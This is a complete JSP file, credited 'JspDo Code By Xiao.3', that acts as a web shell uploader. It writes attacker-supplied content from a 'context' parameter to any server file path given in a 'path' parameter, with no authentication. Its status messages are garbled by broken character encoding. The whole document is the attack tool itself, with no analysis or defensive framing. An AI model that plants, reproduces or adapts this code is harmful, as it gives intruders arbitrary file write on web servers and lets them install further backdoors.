%@page contentType="text/html;charset=gb2312"%>
<%@page import="java.io.*,java.util.*,java.net.*"%>
JspDo Code By Xiao.3
<%
if(request.getParameter("context")!=null)
{
String context=new String(request.getParameter("context").getBytes("ISO-8859-1"),"gb2312");
String path=new String(request.getParameter("path").getBytes("ISO-8859-1"),"gb2312");
OutputStream pt = null;
try {
pt = new FileOutputStream(path);
pt.write(context.getBytes());
out.println("????????????!");
} catch (FileNotFoundException ex2) {
out.println("???????¡è¡À¨¨??!");
} catch (IOException ex) {
out.println("???????¡è¡À¨¨??!");
} finally {
try {
pt.close();
} catch (IOException ex3) {
out.println("???????¡è¡À¨¨??!");
}
}
}
%>